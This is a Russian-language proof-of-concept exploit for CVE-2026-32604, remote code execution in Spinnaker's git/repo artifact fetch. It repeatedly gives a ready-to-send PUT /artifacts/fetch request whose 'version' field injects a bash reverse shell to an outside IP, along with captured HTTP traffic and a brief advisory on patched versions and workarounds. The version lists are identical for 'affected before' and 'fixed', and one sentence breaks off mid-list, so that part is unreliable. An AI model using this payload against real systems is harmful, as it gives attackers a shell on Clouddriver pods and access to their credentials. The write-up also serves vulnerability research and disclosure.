
Эксплойт proof-of-concept для CVE-2026-32604 — RCE через инъекцию команд в обработке артефактов GitRepo в Spinnaker посредством поля version.
CVE-2026-32604 — удалённое выполнение кода в Spinnaker через тип артефакта
git/repo.
Это уязвимость внедрения команд / удалённого выполнения кода в обработке артефактов GitRepo в Spinnaker.
Уязвимая функциональность позволяет управляемым пользователем значениям, передаваемым через поле version артефакта git/repo, достигать выполнения команд без должной санитизации.
Уязвимая конечная точка:
PUT /artifacts/fetch
Важно то, что приложение предоставляет провайдер артефактов git/repo через:
GET /artifacts/credentials
который возвращает:
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
Это подтверждает, что тип артефакта git/repo доступен.
Уязвимый запрос отправляется на:
PUT /artifacts/fetch
с телом JSON, содержащим артефакт Git-репозитория.
Параметр version может быть изменён с использованием синтаксиса shell.
Для тестирования я использовал:
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
Полный запрос, зафиксированный во время PoC:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
Важный параметр здесь:
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
Внедрённое выражение shell добавляется после ожидаемого значения ветки/версии Git.
Символ # используется для комментирования оставшейся части команды после внедрённого выражения.
Запрос был принят уязвимым приложением.
Зафиксированный HTTP-ответ:
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
Существенный момент: уязвимый тип артефакта присутствует, и вредоносное значение version принимается конечной точкой получения артефактов.
Перед тестированием уязвимой конечной точки я убедился, что цель отвечает:
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Ответ:
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
PoC по сути таков:
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── git/repo artifact type exposed
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = attacker-controlled Git repository/reference
└── version = injected shell command
│
└── command execution
Проблема не просто в том, что конечная точка принимает имя ветки Git. Проблема в том, что управляемые атакующим данные артефакта Git достигают контекста выполнения команд без безопасного ограничения ожидаемым синтаксисом версии/ветки Git.
Для быстрого воспроизведения основной запрос:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
Приведённая выше полезная нагрузка предназначена только для контролируемой лабораторной среды.
Уязвимый путь включает реализацию артефакта GitRepo, обрабатывающую управляемую атакующим информацию артефакта.
Ожидаемое значение для version — нечто похожее на:
main
но приложение недостаточно ограничивает значение этим ожидаемым форматом.
Вместо этого может быть введён синтаксис shell:
main; <command> #
что меняет смысл результирующей команды.
Это превращает операцию получения артефакта в произвольное выполнение команд в контексте уязвимого сервиса Spinnaker Clouddriver.
Успешная эксплуатация может привести к произвольному выполнению команд в затронутом поде Clouddriver.
В зависимости от разрешений и окружения скомпрометированного пода это потенциально может позволить атакующему:
Официальный бюллетень Spinnaker особо отмечает, что эксплуатация может раскрыть учётные данные, удалить файлы или внедрить ресурсы.
Согласно бюллетеню безопасности Spinnaker, затронутые линии релизов включают версии до:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
Исправленные версии:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
Уязвимость отслеживается как CVE-2026-32604 и классифицируется как CWE-20: Improper Input Validation.
Обновите Spinnaker до исправленного релиза.
В upstream-бюллетене также указано отключение типа артефакта git/repo как обходное решение для установок, которые не могут немедленно обновиться.
По возможности следует использовать текущие релизы Spinnaker, а не оставаться на затронутой ветке релиза.
Этот PoC предоставлен для исследований в области безопасности, проверки уязвимостей и авторизованного тестирования.
Запускайте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Я тестировал уязвимость в изолированной лабораторной среде.